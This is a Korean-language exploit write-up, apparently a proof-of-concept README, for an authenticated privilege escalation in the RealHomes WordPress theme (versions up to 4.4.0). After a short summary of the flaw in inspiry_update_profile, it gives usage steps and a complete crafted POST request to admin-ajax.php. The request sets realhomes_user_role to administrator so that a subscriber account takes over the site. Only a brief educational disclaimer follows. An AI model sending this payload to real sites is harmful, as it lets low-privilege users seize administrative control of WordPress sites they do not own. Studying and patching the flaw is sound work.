
RH - 부동산 WordPress 테마 <= 4.4.0 - 인증된 (구독자+) 권한 상승
🔥 취약점 요약
WordPress 테마 RealHomes 버전 4.4.0 이하는 권한 상승 취약점에 영향을 받습니다. 이로 인해 인증된 낮은 권한의 사용자(예: 구독자)가 관리자로 역할을 상승시킬 수 있습니다. 이 취약점은 inspiry_update_profile 함수에서 발생하며, ere_allow_users_change_role 옵션이 활성화된 경우 사용자가 자신의 역할을 변경할 수 있게 합니다.
이 문제는 admin-ajax.php 엔드포인트에 특수하게 조작된 POST 요청을 보내 realhomes_user_role 매개변수를 administrator로 설정함으로써 악용될 수 있습니다.
🔍 영향을 받는 테마
🧪 익스플로잇 기능
realhomes_user_role 매개변수를 통해 administrator로 상승시킵니다.🧠 연구자
🚀 사용법
대상 웹사이트에 낮은 권한의 사용자(예: 구독자)로 로그인합니다.
/wp-admin/admin-ajax.php 엔드포인트에 다음 POST 데이터를 전송합니다. 여기에는 realhomes_user_role이 administrator로 설정되어 있습니다:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
응답 확인: 요청이 성공하면 공격자는 관리자 접근 권한을 얻게 됩니다.
/wp-admin/ 페이지에 접근하여 관리자 권한이 부여되었는지 확인합니다.
🔒 고지사항: 이는 교육 목적으로만 제공되며, 소유한 시스템이나 명시적으로 테스트 권한을 받은 시스템에서만 사용해야 합니다. 이 코드를 오용하면 법적 결과를 초래할 수 있습니다.